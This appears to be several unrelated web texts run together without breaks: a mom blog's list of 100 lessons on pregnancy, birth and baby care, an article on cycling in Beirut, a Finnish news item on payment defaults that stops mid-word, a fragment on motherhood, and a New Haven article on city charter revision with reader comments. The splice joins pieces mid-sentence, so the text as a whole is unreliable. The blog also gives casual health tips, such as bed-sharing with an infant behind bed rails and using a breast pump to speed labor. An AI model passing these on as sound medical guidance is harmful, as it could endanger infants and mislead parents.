In celebration of my 100th post on this wee blog I want to share 100 things I’ve learned in the last year about pregnancy, birth, postpartum recovery, breastfeeding, caring for a baby, and being a first-time mom. I make no apologies that this will be a long post, but I really hope it serves you… or at least makes you smile. Because motherhood, after all, really is the greatest joy and privilege.
About pregnancy:
1. Don’t worry about timing your baby “just right”. Most people take a few months to get pregnant anyway.
2. Forget #1 and do everything possible to not be in your third trimester in the middle of summer. Because seriously, nine months pregnant in the height of summer sucks.
3. Your pregnant elephant ankles will return to normal. Just hang in there.
4. Take more naps. Don’t wait for the baby to be born so you can “nap when the baby naps”… He might not be a good napper.
5. Ask your husband’s employer if he can take an extra week of paternity leave if you end up having an unplanned c-section.
6. You have no idea about your capacity to burp and fart until you’re into your second trimester. Just you wait.
7. Don’t feel guilty if the gender of the baby on the ultra sound isn’t what you were expecting (or hoping for). It’s normal and will pass. (And you will be so happy about your little boy or girl that you’ll forget about it anyway.) Many women struggle with gender disappointment during pregnancy, so don’t let it rob you of your pregnancy joy.
8. Wear fitted clothes – your bump is beautiful and you look cuter without extra frump.
9. Don’t buy maternity clothes if you can get around it. Just buy a belly band or button extender and wear your normal clothes. (Until/unless that’s not an option any more.)
10. If you do buy anything, buy long tank tops that you can layer under other “normal” shirts. Or better yet, buy nursing tank tops (You will live in them during those first few postpartum months, whether you are layering over them or not.)
11. Take heart, your shoes will fit again someday.
12. Enjoy that beautiful skin. Unfortunately it doesn’t last.
13. Enjoy that hair. You will soon be losing it in copious amounts.
14. Save receipts because you really don’t need that bottle sanitizer.
15. Use your birthday money on yourself, silly girl. I know you’re excited, but that little baby will get more presents than you know what to do with.
16. Get educated about giving birth. The more you know, the more you will be empowered and the less scared you will be.
17. Have some understanding about c-sections and recovery… just case. (Ever heard of a “gentle cesarean“?)
18. It really is reasonable (and loving!) to let the lady with small children move to the front of the line. Start now.
19. Read differing parenting philosophy books and then decide for yourself what’s best for you and your family. I know it’s hard to believe, but you really are the expert.
20. In light of #19, be prepared to change your mind later if you need to.
About labor and giving birth:
21. If you want to speed up labor once your contractions have begun, use a breast pump. Oh. My. Goodness.
22. Have a birth plan but know that it’s just a plan, not a prophecy. It will look different. (Need help? Here’s how to organize and write a birth plan.)
23. Having your waters break is not a one-off gush… it continues for hours into labor. Don’t be alarmed when you have to walk around with a towel between your legs for the rest of the day. (Birth is so glamorous.)
24. Watching So You Think You Can Dance between contractions provides good distraction, but don’t get mad when they forget to pause it during contractions.
25. Giving birth is messy. Really messy. What? You know that? Ok then, remember it.
26. Remember that sometimes your midwife needs encouragement too, especially when things go wrong.
27. Make sure your husband knows how to quickly and efficiently find the ice machine.
28. Labor is hard work, but you were totally made for it. Go for it, girl.
About postpartum recovery:
29. If you wake up drenched in sweat a week or two after giving birth, get excited about it. You’re sweating off those extra baby fluid pounds.
30. Deal with your disappointment about things that went wrong with the birth and don’t let it steal the joy of birth from you.
31. You are going to feel so overwhelmed with love – don’t try to harness it, just soak in it.
32. Who cares about getting your tiny baby on a schedule from day one? Just snuggle, snuggle, snuggle and let him sleep on your chest as much as your little heart desires. I promise you, you will not regret this. Don’t let any book or auntie tell you otherwise.
33. Yes, the world really does want to see a bajillion photos of your baby on facebook – load ‘em up. (You’ll never feel so popular as when you’re the mom of an incredibly good-looking brand-new baby.) And even if they don’t, you will NEVER regret taking all those photos. (Just give clear, repeated instructions to your husband to make sure you’re included in some of them too. Don’t shy away because of bad hair or bags under your eyes. When you’ve survived the baby years, you’ll want photographic proof that you were there – mothering victoriously.)
34. Tell hubs to stock up on Draino because at around four months post-partum you will begin to shed ungodly amounts of hair.
35. Your c-section scar will still be numb six months after the surgery, and it will sometimes still feel itchy. Just deal with it and know it’s now a badge of honor.
About breastfeeding:
36. Breastfeeding will come easily and natural to you, so you have nothing to be nervous about, and just ignore all those horror stories. Unless it doesn’t. Go ahead and read a few stories (without obsessing) and prepare for both the best and worst. And practice this mantra now: I will not be defined by breastfeeding ‘success’ or ‘failure’. (Psst – no mom that’s trying hard is a failure. Perhaps banish that word from your vocabulary?)
37. Breastfeeding will be one of the absolute sweetest things you will ever do. (Need courage to breastfeed in public?)
38. Breastfeeding will sometimes feel like one of the most annoying things you ever do.
39. Breastfeeding will sometimes feel like a competition with some inanimate object while you vie for your baby’s focus and attention.
40. Breastfeeding will sometimes feel like one of the most time-consuming things you ever do. (And it is.) Hang in there, it changes before you know it and you will miss the excuse to sit down for forty-five minutes at a time like you did during the newborn phase. Later, when you’re baby’s nursing for only ten minutes at a time you’ll be thinking, What baby? Already done? No… let’s just sit here for a while snuggling.
41. Breastfeeding will be one of the wisest things you do for your baby and for you. (Still pregnant? Here’s how you can prepare for breastfeeding.)
42. Breastfeeding is the one thing only you can do with (and for) your baby. That’s a special honor that only a mama can experience. Remember to appreciate it.
About caring for your baby:
43. If you keep your baby awake too long, he will never go to sleep easily. Don’t overestimate how much awake time a newborn can handle between naptimes.
44. Don’t worry about changing your baby every time he spits up. You already have too much laundry to do. Just rub it in – ha!
45. Never judge your baby’s clothes by the numbers on the tag. If you think that cutest-ever outfit for your baby is too big to pull out, do it anyway. It’s easier than you know to miss the “right size” window.
46. When traveling on an airplane, don’t only pack a spare set of clothes for your baby – pack a spare shirt for yourself too. Just go ahead and trust me on this one.
47. I’m totally against the use of “baby TV time” (you guys know how bad it is for your kids’ development to let them watch TV as babies and toddlers, right?! experts say to wait until two years old), but go ahead and use the TV to your advantage when cutting your baby’s fingernails. (Don’t worry, when they hit the stage where this is necessary, you will know.)
48. Don’t wake your sleeping baby unless you absolutely have too. Feeding schedules, shmeeding schedules. Let the baby sleep. (You’re welcome.)
49. When your baby is a newborn, take extra care to burp him after a feed. (I like the firm, upward rub up the back. I’m also a fan of the firm thump.) It’s worth the extra few minutes to avoid gassy baby melt-downs.
50. If your baby is having a melt-down, drop everything and walk outside. It really does work every time so don’t waste your time trying to find something else more “convenient.”
51. Four months is not too early to begin teething. If in doubt, just keep sticking your finger in there to check.
52. Decide on a lullaby song for your baby so that every time you sing it they know to expect that it’s naptime/bedtime. (Just make sure that you like it, or make your own up.)
53. Just because your baby sleeps through the night consistently at a few weeks old doesn’t mean they will continue as he gets older and hungrier. Just know that in advance. Sometimes this really feels like two steps forward, one step back. (Or one step forward, two steps back.)
54. Traveling with babies is fun and adventurous and you often get to jump to the front of the line. Take advantage of kind security guards and airline officials. No shame here, ladies, no shame. Take favors when you get them – DUH.
55. Leave the diaper bag in the car unless you really, really need it. You have enough to carry around.
56. Don’t wait months and months to introduce the bottle – you underestimate just how much you baby really does love your boobs.
57. There will be some diaper blowouts that are not worth trying to clean up outside of the bathtub. We’re talking a right, hot mess. That goes for both you and baby.
58. Don’t be legalistic about starting solids at exactly six months old. Get educated about a baby’s gut development, but then learn to listen to your baby’s cues and trust your instincts. Don’t start them too soon (again, read up on that gut development!), but remember that something magic doesn’t just click on their half birthday.
59. It’s okay to pull your baby into bed with you sometimes when you’re just too tired to get up yet. Do what you want. (Just do it safely: bed rails are your friend, move away your blankets, safety first, ladies!... with comfort and convenience being a close tie for second.) And seriously, don’t worry — you’re not going to ruin them by co-sleeping. I promise you co-sleeping is not the evil that will turn them into disobedient, overly dependent narcissists. (Don’t allow any rigid parenting book to convince you otherwise.) Remember, these are BABIES. Let them act like babies. They have plenty of time to grow up. And remember, you are TIRED. Do what you need to do to get a little sleep, too. DUH.
60. There will be lots of times when the baby is crying and you don’t know why. That’s ok, babies cry. Sometimes they are trying to communicate something, but often they are releasing their big emotions and pent up baby angst. Just do your best and remember that sometimes even you specifically choose movies based on the fact that you need a good cry, too.
61. When introducing solids to your baby, strip him down to a diaper and bib, roll up your sleeves, put on goggles, and make sure an assistant is standing by (with a camera, of course).
62. Be prepared when you’re encouraging your child to learn to crawl. I know it’s fun and super cute, but there really is no turning back. (Don’t say I didn’t warn you, you overly keen first-time mom, you.)
About being a first-time mom:
63. Never judge a parent that is bribing their baby with food… there will be times when you end up doing it too.
64. Be prepared for spontaneous mama-tears when you have love-saturated-heart moments. (And don’t rush them – they are precious.)
65. Although you already thought you were a responsible driver, you will start to drive even slower and even more cautiously. Just sayin. Your wild days are over... at least temporarily. (But seriously Grandma, please at least try to drive the speed limit. You don’t want to get pulled over because a cop thinks you might be driving stoned. BE NORMAL.)
66. Congratulations, you will now forever be known as “so-and-so’s” mom.
67. You will be tempted to spend more time making sure your baby looks cute than making sure you do. Keep it real, girlfriend. Brush your hair for goodness sakes.
68. Diaper bags are for carrying important things, like snacks for mommy.
69. Your baby will sleep through the night sometimes… and when he does you will have insomnia.
70. Even though you think you won’t be one of “those” parents who wants to buy their kid everything, you will come home with a big ridiculous Baby Einstein exersaucer. (And he will absolutely love it.)
71. During those first few months, be prepared to go through baby’s clothes every 3-4 weeks and pack up the too-small ones and pull out the bigger ones. (And be aware that you might get a little teary on occasion about how fast it’s all going.)
72. Even though it feels like a lot of work to think ahead and make double portions, it’s worth the effort to have homemade meals to pull out of the freezer instead of frozen pizzas on those nights. (Although frozen pizzas work too. See a theme here, ladies? Again, no shame. No shame.)
73. Write milestones down on a calendar if you’re not into doing a baby book – it’s a lot easier than scrolling back through all your facebook status updates to remember when baby learned new tricks.
74. Make sure to regularly go through your photo files and delete 30% of the millions of photos you’re taking of sweet baby. (They really are more similar than you think.) But don’t stop taking the millions.
75. Plan for “quick errands” to take twice as long as they used to. Actually, make that three times as long.
76. There will days when you want to return to work just so you can have a break.
77. Being a stay-at-home-mom is the only job in the world that doesn’t come with coffee breaks, lunch breaks, weekends, holidays, or sick days. And there’s nothing you can do about it except to learn to roll with it. You really can learn to be a SAHM without losing your marbles.
78. There will be days where you cry as much as your baby. This is normal. There will also be days when you cry more than your baby. This is also normal.
79. When your baby is going through a growth spurt, cut your to-list down to 25% and give yourself lots of grace when it comes to house work and errands.
80. You think hearing your baby say “mama” for the first time will melt your heart… It will, but know that it’s even more than that. It will also blow your mind and make you weak at the knees. (So basically it affects your whole body, it’s that good.)
81. Different babies have different milestones at different times. Do your best not to compare.
82. Weekly menu-planning has never been so important. I know it’s boring and not spontaneous, but it really does help. And I’m NOT one of those women who have binders of home organization stuff (bless their hearts), and yet I’m telling you – just plan the freaking meals. You’ll thank me later.
83. If you’re having one of those days where you feel discouraged because you’re getting nothing done, take 20 minutes to play with your baby without multi-tasking. It will instantly give you perspective.
84. Take long moments to stare at your little wonder and drink in that baby goodness. They really do grow way too fast.
85. Keep in mind that immunizations are harder for mama than for baby.
86. Find an on-line forum to join for encouragement and support.
87. Your bookmarks bar will become overrun with parenting websites and forums… but save your other links too. After the first couple of months you’ll want them again.
88. Always try to leave five minutes earlier than you need to. Then you will only be five minutes late to wherever you’re going (instead of ten) after you’ve changed the pooey diaper that inevitably happens when you’re walking out the door.
89. Be prepared to wonder if you ever knew what love was before you had a child.
90. Doing a load of laundry, folding it, and putting it away all within the same day will make you feel like wondermom. (Go ahead and congratulate yourself and tweet about it when you accomplish this.)
91. Make feeding yourself as big a priority as feeding your baby. (That way everyone wins.) You really do need to be intentional about taking care of yourself.
92. Don’t stress about baby-proofing. Your baby will help you when it’s time.
93. Watching your husband be a daddy will make you fall in love with him even more. Relish it. Appreciate it. And make sure he knows how much it turns you on.
94. Don’t wait too long before finding a mom’s group. It really is more fun than you’d expect. You’re entering into one of the biggest changes of your life (maybe the biggest) and it helps to have others going through it along with you. They don’t even have to be your best friends. They just need to be willing to share the mom life and the little years with you. Solidarity, girls. #WeNeedEachOther
95. You might find yourself accidentally speaking in a higher pitch or saying things like “bye bye” or “night night” or “poo poo” when talking to other adults. You’ll grow out of it as you get used to this gig, so just have fun making fun of yourself in the meantime. You might also find yourself swaying the childless shopping cart back and forth as you read labels or scan the shelves looking for an item during the rare kid-free grocery run. Again, just laugh at yourself and then tweet about it later. These days are over fast.
96. You will re-define “sleeping-in” to any time past 7:00am, and thankfully it will happen every once-and-a-while.
97. Don’t put off buying a video baby monitor if you can afford to swing it. Not only will it provide endless entertainment for your first few days of having it, but it will save you from playing the guessing game about naptimes.
98. Be careful not to underestimate the small things. Starting your day with simple things like making the bed, having a shower, and eating breakfast will make the entire rest of your day better. Seriously, DO THIS STUFF.
99. Don’t get defensive when friends without children (especially single friends) ask you what you do all day at home. They honestly have no clue what it’s like to maintain sanity as a stay-at-home-mom.
100. Remember that you’re doing a great job. Being a mom brings out the best and the worst in you. Know that you’re normal and try to learn from all of it. And more than that, enjoy the ride — you’re a far better mom than you probably think.
Dear moms and expecting moms and future moms — please hear this last little tidbit and chew it up and let it sink right into your bones: my mothering mantra is not, “I am a perfect mom.” That would be ridiculous and unattainable and depressing. But my mothering mantra is, “I am the perfect mom for my kids.” And guess what? You are too. You’re the perfect mom for your kids and don’t ever let yourself think otherwise — not even for a moment. You’ve got this mom gig.
Love, Adriel xo
Inboxes can be depressing. Need some encouragement in there instead? Sign up for my ‘secret posts’ here:
Preparing for baby number two?
Here are a few just for you: In Which I Realize I Might Never Feel ‘Ready’ to Have More Children, Preparing for Baby #2 – It’s Okay to Question Yourself, or Making Enough Room in My Heart & Life for Baby #2 (Will I Ever Be ‘Enough’?).
Recommended reads:
I highly recommend these books by my dear friend Jessica Wolstenholm: The Pregnancy Companion: A Faith-Filled Guide for Your Journey to Motherhood and The Baby Companion: A Faith-Filled Guide for Your Journey through Baby’s First Year
I hope you don’t need this, but if you do, I hope my book will be a blessing to you and serve you as you process the grief of a pregnancy loss: Grace Like Scarlett: Grieving with Hope after Miscarriage and Loss
I’ve also written a free ebook to help you journal through your grief and write your story. Download your copy here: Journaling Our Scarlett Stories: Journal Prompts for Processing Grief after Pregnancy Loss
My Pinterest resource boards:
Bump, Birth, & Baby
Motherhood & Parenting
Pregnancy Loss: Miscarriage, Stillbirth, & Grief
VBAC & Cesarean Birth
Related posts:
*affiliate links usedBeirut could be considered one of the world's least bike-friendly cities due to its air pollution and traffic jams. But more and more residents are riding bikes during the day — and night.
Every Thursday night, cyclists wearing helmets and reflective yellow cuffs for visibility cruise bravely on the main roads with Cycling Circle, a company that specializes in cycling projects in Lebanon. Karim Sokhn founded the company in 2012 to share his passion for cycling with others. Since then, he has organized rides in Beirut and biking trips to villages and historical sites around Lebanon.
“I used to bike between my house and the university every day, and everyone looked at me strangely,” Sokhn told Al-Monitor. “Biking was either for the very rich or the very poor. The very rich who could afford expensive bikes used them for exercise, and the very poor who couldn’t afford any other way of transportation used bikes out of necessity.”
Sokhn pointed out that everyone used to bike before the Lebanese Civil War (1975-1990), but the war destroyed the country's infrastructure and also changed how people lived. “It is now a challenge to get people to bike as a way of life,” he said.
He started the night rides with his friends, and more and more people who heard about the rides through word of mouth joined them. This eventually led to his starting Cycling Circle.
“My goal is to promote biking as a way of transportation and create a safe and secure environment for people to have the best experience, with guides, insurance and security measures taken during the rides we organize,” Sokhn told Al-Monitor. “I also want to develop bicycle tourism in Lebanon.”
He added, “I even started a delivery service on bikes — called ‘Deghri Messengers’ — after watching the movie 'Premium Rush' about a delivery service in New York. We stopped this year, but at least it made us known and gave a positive image of the bike in Beirut.”
Sokhn opened a boutique and community space last year in Badaro, a popular Beirut neighborhood. He developed new bike tours, gave biking lessons to all skill levels, held technical workshops to teach bikers how to repair their bikes and started sales of secondhand bikes. “It’s a very slow process, but we see more and people interested in bicycling,” he said.
“There are quite a few people who bike to work every day,” Sokhn told Al-Monitor. “Also, the fact that a lot of foreigners living in Beirut ride a bike encourages Lebanese to think they can do it as well.”
The growing trend of cyclists in the city prompted the municipality of Beirut to implement its first bike-sharing system downtown in January 2017. The initiative wasn’t successful, as the new bicycle lanes were quickly overrun by motorcycles and parked cars.
“The initiative was good marketing because it made people think about biking. However, it was a disaster on a practical level,” Sokhn said. “It is not enough to make a few lanes and give people bikes to share. We need a law to regulate this activity and to protect the bikers. We need to have an awareness campaign to educate people.”
Organizations such as the Chain Effect and Moonlight Cycling organize cycling events and raise awareness about road security. An online platform called Lebanon Bicycle, run by the nongovernmental organization Logos Association, gathers information on social biking events where cyclists can meet each other.
Georges Tachdjian, president of Logos and administrator of Lebanon Bicycle’s page, told Al-Monitor that people from all over Lebanon can use the website to "connect with each other and discover the city through [biking] social activities.”
He said, “We aim to promote bicycle usage instead of cars. We also aim to create a team of professionals who can participate in championships around the world. We’ll start by developing a regional network to organize competitions, starting in 2018. But our biggest hope is to get safe spaces and lanes in parks or in parts of the city where children will be able to bike for fun safely.”
For those who want to start biking in Beirut, graphic designer Siwar Kraytem offers some tips — from what to wear to how to bike on crowded roads — in her guidebook, “ABCycling in Beirut.” The upbeat and humorous guide also takes up women’s issues, such as whether it is possible to wear a skirt on a bike, cycle during your period or what to do when you get lewd comments while biking.
“I started riding a bike out of necessity during my second year of school and grew to like it,” Kraytem told Al-Monitor. “I do not understand why biking is so undervalued as a means of transport. A lot of people started asking me questions about how I do it, if it’s dangerous, what I hear from car drivers, so I eventually thought of a guide to sum up all the questions a starter would have, in a fun and interactive way.”
She hopes the book will get more people biking. Her advice is simple: “You have to be confident while riding and maintain a steady hand.” This is a useful tip to keep in mind while biking the jungle of Lebanese roads.Oma raha
Uusi ennätys Suomelle: Eniten maksuhäiriöitä ikinä
Mainos (Teksti jatkuu alla) Mainos päättyy
Yritysten maksuviiveet vähenivät
Edellinen ennätyslukema oli vuodelta 1997, jolloin maksuhäiriömerkintöjä oli 368 000 henkilöllä. Vuodessa maksuhäiriöisten määrä on kasvanut 1,9 prosenttia eli 7 000 henkilöllä.– Peräti 40 prosenttia kaikista rekisterissämme nyt olevista henkilöistä on saanut uusia merkintöjä tämän vuoden tammi–maaliskuussa. Merkintöjen tuoreus valitettavasti ennakoi sitä, ettei maksuhäiriöisten henkilöiden kokonaismäärä ole lähiaikoina kääntymässä laskuun, liiketoimintajohtaja Jouni Muhonen Suomen Asiakastiedosta sanoo tiedotteessa.Alle 24-vuotiaiden maksuhäiriöisten määrä on kuitenkin ollut laskussa. Sen sijaan 25–49-vuotiailla miehillä on jo noin 15 prosenttia maksuhäiriöistä.– Niin miehissä kuin naisissa myös eläkeikäisten maksuhäiriöt ovat huolestuttavassa kasvussa. Yli 65-vuotiaita henkilöitä on maksuhäiriörekisterissä nyt 14 prosenttia enemmän kuin vuosi sitten, Muhonen sanoo.Yrityksillä maksukyky vaikuttaa sen sijaan parantuneen. Maksuviiveellisten yritysten määrä väheni yhdeksän prosenttia, perintäyhtiö Intrum Justitia kertoo tiedotteessaan.Tammi–maaliskuussa maksuviiveitä oli 17 7000 yrityksellä, mikä vastaa hieman alle kuutta prosenttia kaikista Suomen yrityksistä. Eniten maksuviiveitä oli ravitsemistoiminnassa, mutta vuodentakaisesta oli kuitenkin laskua. Luvut perustuvat Intrum Justitian luottorekisteritietoihin.Eniten maksuviiveet väheniv |
his servants have issued a direct and bold attack on the family and motherhood. Whether mothers or not, we need all the faith, love, kindness and charity we can get and give to one another. We need fewer critics and more defenders of mothers and motherhood. We need less of looking for offense and more of looking to God. We need more champions of women, the family and motherhood from our single and childless sisters. We need each other!
And, as Elder Christofferson said:An Opportunity Looms To Change Government
by Thomas MacMillan | Oct 5, 2012 9:01 am
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Posted to: City Hall
Fewer aldermen, an elected Board of Ed, term limits for mayor: Those ideas might not be what-ifs anymore, as New Haven gears up for a once-a-decade opportunity to rewrite the city’s foundational document. Aldermen have begun the process of putting together a commission to look at revising the City Charter. The document serves as the city’s constitution, covering fundamental aspects of New Haven: the powers of the mayor, the establishment of various departments, even the city’s name. Every 10 years, the Board of Aldermen is required to form a special commission to look at the charter, decide if it needs revision, and if necessary, propose changes. With aldermanic approval, the changes are put to the voters in the form of one or more ballot questions. Among the hot topics the commission is expected to take up this year: Should the city have a smaller Board of Aldermen? Should the members of the Board of Education be elected, instead of appointed by the mayor? With a mayor who is now the longest serving in city history, should there be term limits for local elected officials? (Read further down in this story for a sampling of aldermanic opinions on those possible charter changes.) Aldermen have begun to create a list of candidates for the commission, which can have up to 15 members. No more than two-thirds of members can belong to the same party; no more than five can be elected officials currently in office. Aldermen are aiming to submit resolutions at an October meeting of the full board to create the commission and submit the proposed names to the Aldermanic Affairs Committee. That committee will then make a recommendation on who the commission members should be, to be voted on by the full board. Once the commission is set, it can begin its work, which is expected to take a maximum of six months. The proposed changes would then appear on the November 2013 election ballot. In 2002, the last year charter revision came up, all the proposed changed were lumped together on the ballot as one up-or-down question. (The vote was down.) Board of Aldermen President Jorge Perez said he hopes that’s not the case this year. “I think big issues should be taken separately.” Here’s a sampling of aldermanic reactions to three big issues that will likely be considered by the charter review commission, according to interviews with lawmakers. Shrinky Dink? Article III, Sec. 3: “The City of New Haven is divided into thirty wards from each of which an alderman shall be elected at the regular election of said city…” New Haven’s Board of Aldermen comprises a whopping 30 lawmakers. Each is paid only around $2,000 per year for the two-year term as a neighborhood representative, a position that requires attendance at numerous evening City Hall and community meetings, fielding constituent phone calls, parsing the city’s inch-thick annual budget, and countless other time-consuming tasks. For years, people have been floating the idea of reducing the size of the board and increasing aldermanic salaries as a way of creating a nimbler board with more powerful members. “I think that the board is not nearly as effective as it could be now and a lot of that has to do with our having so many things to do as members of the board” while holding down full-time jobs, said East Rock Alderman Justin Elicker (pictured). If aldermen were paid “a small amount,” they could afford to work less and have more time to focus on aldermanic duties, he said. Also: “It would give individuals on the board a lot more power. Now, if I want to get something done I have to get 15 other people to support me,” Elicker said. The board should be reduced to fewer than 10 members, he said. That way, members would be stronger, and the board as a whole would be a better check to the mayor, he said. “In order to have an effectively run city we need to have a mayor and Board of Aldermen that are more balanced.” Other aldermen disagreed about shrinking the board. “I don’t think that should take place,” said Dwight Alderman Frank Douglass. It’d be too much work for the aldermen to manage larger wards, more constituents, he said. “We got enough to carry right now.” “I don’t think that would work,” said Hill Alderwoman Jackie James. “At some point, some community will be disenfranchised” by having a smaller board. Downtown Alderman Doug Hausladen agreed that voter disenfranchisement would be a possible pitfall to shifting to a small board. With the current 30-person board, “one thing that’s nice is how represented a lot of neighborhoods are,” Hausladen said. If, for instance, New Haven had only 10 aldermen, corresponding, say, to the city’s 10 policing districts, Newhallville and East Rock would be lumped together, creating the possibility that high-voter-turnout East Rock would overshadow Newhallville, Hausladen said. “If we consider lowering the number of alders, we very much have to look at how do we maintain the makeup of the board,” he said. Haudladen said he’s undecided on the question in general, but offered some ideas about how to best make the change to a smaller board. The way to do it would be to wait until the 2020 national census and subsequent municipal ward redistricting, use the census data to draw new boundaries for a smaller number of larger wards, and make everyone run for office again, he suggested. Having to deal with incumbency was a big obstacle to the recent redistricting process, Hausladen noted. It might come down to a balance between representation and governance. A 30-person board is better for the former. A smaller board would be better for the latter, Hausladen said. Hybrid Ed Power? Article XXIX, Sect. 149: “...On or before the first day of September in every year the mayor shall fill the vacancies about to occur in positions on said board by appointing one or two members, as the case may be, to serve for four years from the third Monday of September following their appointment…” New Haven’s Board of Education comprises seven unpaid members appointed by the mayor, plus the mayor himself. That gives the mayor a great deal of control over the board, whose budget is also off-limits to line-by-line edits by the Board of Aldermen. Over the years, people have floated the idea of a having instead a board comprising elected members, or a hybrid board, with some members appointed and others elected. “I think that should be, definitely,” said Alderman Douglass (pictured). Alderwoman James said the mayor should continue to appoint members, but that his appointments should be subject to aldermanic approval. Mayor John DeStefano himself has acknowledged a need for the Board of Ed to “relinquish power,” Alderman Hausladen pointed out. Hausladen said he favors a hybrid Board of Ed, with two or three elected positions and six or seven appointees. “For me, a hybrid system makes sense because we ‘re not getting the representation we need,” Hausladen said. “Parents don’t feel like they’re listened to.” “I think it should be combined, because it shouldn’t just be assigned by the mayor,” said Fair Haven Alderwoman Migdalia Castro. “There has to be some check and balance on the Board of Ed,” said Alderman Elicker. “I work well with every department in the city except I struggle with the Board of Ed.” Proponents of the current city argue that elections politicize education. That’s Enough, Thank You Article IV, Sect. 9: “... The mayor, members of the board of aldermen and the city clerk shall be elected at the regular city election to be held under the provisions of this charter on the first Tuesday after the first Monday of November for a term of two years from the first day of January next, and biennially thereafter…” Mayor DeStefano this year began his record-setting 10th two-year term in office and this week became the longest serving elected mayor in New Haven history. President Perez said term limits for elected officials is a likely topic for the charter revision committee to consider. Possible proposals could also include changing the length of terms. “I don’t think you should be able to go 20 years,” said Alderman Douglass. He said he’s in favor of limiting a mayor’s tenure to 10 or 12 years. “Move over and let somebody else do it.” “Twenty years is too much,” Alderwoman Castro said. “There needs to be new blood.” Alderwoman James disagreed. She said she doesn’t want to see term limits imposed. She suggested that mayoral terms should be extended to four years. “I think a lot of people claim that elections are term limits,” said Alderman Hausladen (pictured). “I don’t know if I believe that in our system of government.” Given the current campaign finance system, the incumbent has a significant advantage, especially at the mayoral level, Hausladen said. City contractors give the mayor thousands of dollars that he can spend on polling and opposition research and on “Jeffrey Kerekes being painted as a Tea Party candidate,” he said. “I don’t think it’s healthy to go this long without a turnover,” Hausladen said. He said he favors term limits, but said he hasn’t yet decided exactly when the cut-off should be. If a maximum of eight years in office is good enough for the country’s president, “it should be good enough for our city,” said Alderman Elicker. People argue that term limits would mean the city wouldn’t be able to have a good mayor like DeStefano for so long, Elicker said. “I give other New Haveners more credit than that.” There are other people in the city who could do a good job as mayor, he said. “It’s a good idea from time to time to clean house and bring fresh ideas to the table,” he said.
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posted by: anonymous on October 5, 2012 9:21am Looking at the experience of other cities, the idea that voters would be “disenfranchised” by a smaller Board - when each Board member currently gets a few hundred votes on average and many do not even show up to meetings at City Hall - is completely off-base. It would give neighborhoods more power, and also give residents a greater incentive to be involved in what was going on at City Hall. The current system is a recipe for disaster. Electing BOE members, promoting public financing, and Term Limits is a great idea.
posted by: Curious on October 5, 2012 9:35am I support… 1. Fewer wards. 2. Term limits on mayor and aldermen. 3. Hybrid board of ed; appointed and elected.
posted by: THREEFIFTHS on October 5, 2012 9:39am How about adding proportional representation.Also no Hybrid Ed Power or mayoral control of the BOE.Full elected school board.There should be Term Limits for all.
Alderwoman James disagreed. She said she doesn’t want to see term limits imposed. She suggested that mayoral terms should be extended to four years. Remeber Elections are considered the bread & butter to a functioning democracy. Yet elections, even can fail the public they can be rigged.Now with out term limits elected official administration turns into a regime and the voice of opposition is held unceremoniously at bay.Also When politicians do not have term limits, they can quickly become drunk with the power, prestige and privilege provided by elected office. This invariably leads to abuses and corruption. It can be argued that incumbent politicians eventually tend to be more concerned with the next election and ensuring victory on election night, than doing what is in the best interest of the people.How about a referendum on Term Limits.I bet you it would win hands down. Term Limits Now!!!!
posted by: PH on October 5, 2012 11:19am Allowing the alders to make some of these changes is like having the fox in charge of the henhouse—some of them should be put to a citywide vote. Kudos to Elicker for taking a principled stand that could cost him his position. The idea that New Haven needs 30 alders is insanity. Disenfranchised voters? New York City has 51 council members—for 10 million people!! If New Haven were a district in NYC it would have less than 1 representative. We do not need 30 for a city of our size. Decreasing the size of the Board would allow members to wield actual power, make quicker and better decisions and provide a real legislative counterweight to the executive authority of the mayor (which many people seem to be strongly in favor of). They should also be better compensated—they do a lot of work at near-volunteer pay. If we want informed alders making decisions we should pay them more money to take the position and its responsibilities seriously. I would push for 11 or 13 alders paid $10,000-$15,000 each per year.
posted by: Drosophila on the Wall on October 5, 2012 11:24am I’ve thought for quite a while that a smaller Board of Aldermen would benefit the city in the long run, but I’m not sure that it would translate to either higher aldermanic recompensation (let alone an actual salary) or less work. The entire Board of Aldermen is currently paid $60,000 a year. Even if we only had 5 aldermen, that would translate to about $12,000 per ward—that might be enough to limit the number of hours one needed to work in a per-hour job, but it certainly wouldn’t allow aldermen to take a leave of absence from a full-time job for 2 years. Additionally, making a smaller Board involves having fewer wards, and therefore bigger wards, thus probably increasing the number of neighborhood quality-of-life issues that individual aldermen need to deal with. (By this, I mean individual streets that need cleaning, sidewalks that need repairing, etc. as opposed to crafting legislation and policy that does good for the city as a whole). To really be able to pay aldermen a salary that would allow them to work significantly less, we would need to significantly increase the total amount of money we pay to the Board of Aldermen, no matter how small we make it. Additionally, it seems likely that the only way to effectively reduce the amount of time aldermen spend on quality-of-life issues is to give them a staff, which would cost a LOT more money. Both of these may be worthwhile in the long run, but I don’t think that shrinking the size of the Board will address them effectively. For me, the reasons to shrink the Board of Aldermen is to increase competition for the seats on the Board, and to increase the relative power of individual aldermen. I certainly don’t think our aldermanic elections need to be more vitriolic, but I think that having fewer seats (like, at most ten seats) might result in us having a higher proportion of competent aldermen (I’ll leave it at that).
posted by: robn on October 5, 2012 12:01pm I support A ten member paid BOA (they’ll be more effective, have less political cover, and do better with 13000 constituent than they would have with 4500) A half elected, half appointed BOA 4 year mayoral terms (we’re now in a continuous election and fundraising cycle that must be broken) I do NOT support term limits ( we don’t want a continuous stream of rookies; let the electorate throw out the bums; don’t put out a welcome mat for them)
posted by: anonymous on October 5, 2012 2:20pm What about residency requirements?
posted by: THREEFIFTHS on October 5, 2012 9:55pm posted by: robn on October 5, 2012 1:01pm I do NOT support term limits ( we don’t want a continuous stream of rookies; let the electorate throw out the bums; don’t put out a welcome mat for them) Term limits ensure citizen representatives instead of career politicians.Years of out-of-control spending and shortsighted policies championed by career politicians from both crooked parties have got us into this mess and career politicians can’t get us out.Term Limits now.
posted by: THREEFIFTHS on October 5, 2012 10:02pm Get rid of the crooked political partronage town committees and replace them with Instant-runoff voting.
posted by: Brutus2011 on October 6, 2012 7:10am This is a real opportunity for change. I would like to attend whatever meeting(s) to make my voice heard. Will schedules be published for the public?
posted by: Stephen Harris on October 6, 2012 11:19am Here’s my two cents: 1. We should have fewer Wards. Thirty is unwieldy, 11 is enough.
2. The Board of Ed, City Plan Commission and Board of Zoning Appeals should be elected.
3. If it’s legally possible the Special Act provisions should be eliminated. That would bring our planning zoning in line with the rest of the state.
4. Term limits of 10 years for all elected alders, mayor and board and commission members.
5. Elections every five years. Constant campaigning leaves little time for serious governing.
